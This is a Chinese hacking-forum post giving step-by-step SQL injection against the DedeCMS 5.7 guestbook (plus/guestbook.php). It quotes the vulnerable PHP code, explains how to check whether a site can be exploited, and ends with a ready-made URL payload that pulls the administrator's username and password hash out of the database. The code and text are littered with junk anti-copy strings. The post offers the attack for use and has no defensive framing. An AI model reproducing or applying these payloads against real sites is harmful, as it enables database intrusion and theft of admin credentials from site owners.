找回密码
 立即注册
查看: 4790|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
影响版本为5.7. X! \) A' \+ h3 T  k/ l, ~

9 R( R" C$ ]3 P& m漏洞文件edit.inc.php具体代码:
8 ~4 X' \& f1 C) Y- i, y- D! |, B* G) K
< ?php  ! }) u0 u+ x; G6 B. E: \. u, \) |
# H7 f  N. o5 m# q) h/ M
if(!defined('DEDEINC')) exit('Request Error!');  
7 u  ?7 {( L: D7 ?# S; W( T. _% r3 s# m/ K) K3 z  }
   
$ a+ s% ?, G, y1 I; ~) @8 s( Y: |% S. A3 i+ K0 {) W  s5 W
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
2 ?; I' H/ D* o3 F0 ]1 g, k
. e, b& g1 W* j) b7 V" q) o) relse $GUEST_BOOK_POS = "guestbook.php";  0 A% i- l2 r! j9 `  {: _* \8 M

& _1 r& `1 V5 G* w% y  ^9 j( `   & }$ c8 X( P: T

8 X! E5 T% m! u, j* P$ U4 t( n$id = intval($id);  & i) J/ e: C3 [, {# [* U# k# |
  Q& ~4 c3 N- X. _$ S. K- C. C
if(empty($job)) $job='view';  
+ R; _# |" [/ K9 r
% h2 r: i( P9 T   * I0 E  B. j1 T: V5 w1 w- E' p

( S& m* C; S  s4 M! Iif($job=='del' && $g_isadmin)  
2 l5 ~4 ~, T1 t4 [% x" |4 f* ?/ J
1 L3 d7 L6 h/ e3 s. B: b( m{  
( ?8 k: ]$ O6 x9 H* r& X7 f  k0 X  w* ~, M1 r8 v5 }9 R
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
( V# t2 w2 f0 Z& y; [
- C, c  u$ A; E! |0 ^ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
: |6 S* v. u# Q: j& D
6 C  T. f. t" c$ @exit();  3 F$ d# ?; f" f6 `& X
! ?4 v) d/ q8 T& Q, x2 W' B2 i# X
}  2 Y* K3 b4 V# h+ |( r" v
4 i* o% m9 B% u2 U" z
else if($job=='check' && $g_isadmin)  - \- y. }) X) ~- W$ f* E

5 I9 _& _, b6 u{  8 w) O4 G5 t6 E
! C/ g% U! j& n& d3 @1 @6 I* C
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  2 g* }6 d3 [. L% a5 F) c/ H

& @9 B8 X& I# ^  \ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  , ]( X- b: [# G3 S& f, b

% v' s3 F7 a) w5 rexit();  
) Q- D$ r4 L6 H2 c# D- f7 @! l+ f; H* |2 m6 G7 N- h! t
}  ; {! \2 J, W, h) d# S

( J5 T" F/ o$ H) velse if($job=='editok')  
% y% o  D  F, }/ [: J, p. ~
+ P; I4 d2 U9 g9 w, {) w{  $ d+ G$ I9 W7 b
% |; R% |0 y6 d  a
$remsg = trim($remsg);    m) W- Q" E3 b7 S& @& n
+ [4 c: F) K* u8 w5 u
if($remsg!='')  
- {0 l9 P6 q$ d( p1 n  F) X2 Y' @( |2 G# m
{  
* F2 e1 K4 e% ?! V& p" {9 Q
1 u/ C* d+ S! A0 g' l7 t, C//管理员回复不过滤HTML By:Errorera blog:errs.cc  
% s5 O+ ^5 }  m7 T, e; b2 E4 t, c
6 Q! D6 K4 `2 p7 u$ F% vif($g_isadmin)  8 A% K3 I' M0 D$ o; w

& U) N  J% E$ h4 ?" S* K{  
" U  g7 A% Z) x$ ?% k' O: W0 W2 W' C: r5 `7 L; ^8 A# `$ n
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  / [" W$ C) f0 R6 v* s! r  l

, [/ D( e3 `# o* _, D% t; G//$remsg <br /><font color=red>管理员回复:</font> }  4 Y* C6 d  m; W+ D  g
$ L( d! @8 M! n$ \7 D0 V# e
else - V9 ]2 \) k! p" s

/ Q$ t$ V( I: {{  ; d3 _% q/ [- `, @0 F' K' V. ?
/ ~* M1 X4 u. y4 c" w' o
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
2 Y( ^; L; d+ m5 ~5 r
! P0 k& p1 ?5 B$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
, o1 x+ b% C7 e2 B% Y4 d/ `$ F) Y' O- a5 ^/ }% y% \
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  / |2 Y& u; N5 O

* T) h) w! E% X, ^- U! ^  B! i$msg = $oldmsg.$remsg;  
) p0 U3 n( g, t( u" s" F! E$ U# W. U. A/ G$ p, L6 s
}  3 S& C  [: N. z

; `. Q% M  b6 J6 [# {' \}    z. @8 F8 V" f8 ^) b0 C: P

' t" G' _: G# s' _$ p0 s3 y//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  ) A0 l- r+ _" B; H

' ]! \/ g- A( }8 g4 m1 ~0 k$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  $ I4 }2 U! t+ T6 g$ q# O# X. g( t

7 C  o. I2 z/ L2 E4 qShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
6 m) H4 P, O8 R- `
! z  J( Q/ u* `2 sexit();  ; U% d& o% h, D. e/ C
) k* O& C. J! |7 N
}  6 i  n3 D* i# Q( e! Y
7 U! d' `# g! q1 P3 n; b  U3 _
//home:www.errs.cc  ( V2 u  W9 e. Q: E4 H$ \

; x3 S; x. |2 X" v7 J" O0 B- fif($g_isadmin)  - I- W+ j5 R* v

5 k" R* E2 R8 o' ]" V{  
1 O- p0 i: b  X2 k2 y  S4 F9 h0 o8 b  \6 r% M; H5 R* l
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
5 y/ N6 B0 J! c1 c& C
- ~2 z" `* E) p/ drequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
9 c: p7 x, ]+ k+ g9 p& |
3 J" A( B  P2 G/ m% n& i6 o}  & X6 b; ^9 {4 {

" s( u! Y1 L" c* welse
, A5 Y# }$ w( g# c- F
/ F& P( c' f% k2 F{  
8 K0 [( b( b! P6 H' r8 f9 e4 J$ D2 L3 r0 A& O4 }- o# B3 K
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
0 V' p0 l+ a( ]& Y" W! E, j& `9 h! o3 o  ]" V0 ~
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  3 S4 V. @" }. H$ O+ \

0 b7 z3 u4 Y7 g2 Y8 K3 Y} 漏洞成功需要条件:- z! G# H; M9 l. p7 s# Y
1. php magic_quotes_gpc=off) q% g5 ]; M. ]  X' L1 n
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。3 k: k, G# O( U' {

# C% X9 p  v& Q, }0 }* u% |怎么判断是否存在漏洞:! Q% E5 G1 I/ R% _1 M
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,; ?4 L1 q- F& V& U8 p
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
) F! E! i1 W# ~1 E访问:# c( r; N+ ?1 B* N" I8 K+ U
& ^0 w/ ^/ S& ^+ k0 ^: K* a" g) l
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了3 g$ C! o$ i7 C. ~7 v1 D. f
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
- W; n! Q7 V4 g/ ~6 ?9 _) X7 e! g% B1 d; h( W

& b9 \) n' L: m/ a8 B$ D* p* I, @) N明漏洞无法利用应为他开启了 php magic_quotes_gpc=off9 ^/ `, K3 U" A$ q. B/ r! N- x# ?
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
( e  s$ a4 J# t; ?9 f那么再次访问: D) U3 y  k9 c! |" Y4 g

4 Y% ^& G6 c/ D7 M  B/ g) lwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
# g+ G- ^$ P1 r
7 [: F/ `+ u4 s3 W- w  z  t大概利用就是这样,大家有兴趣的多研究下!!
- Z# W0 w* z1 I0 w0 i! b
. ~6 ^6 q, z/ h2 r6 G9 c4 U" F最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!6 I# E" Z$ B  R: Y( \* j

' T0 j" |0 n3 r( Vview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表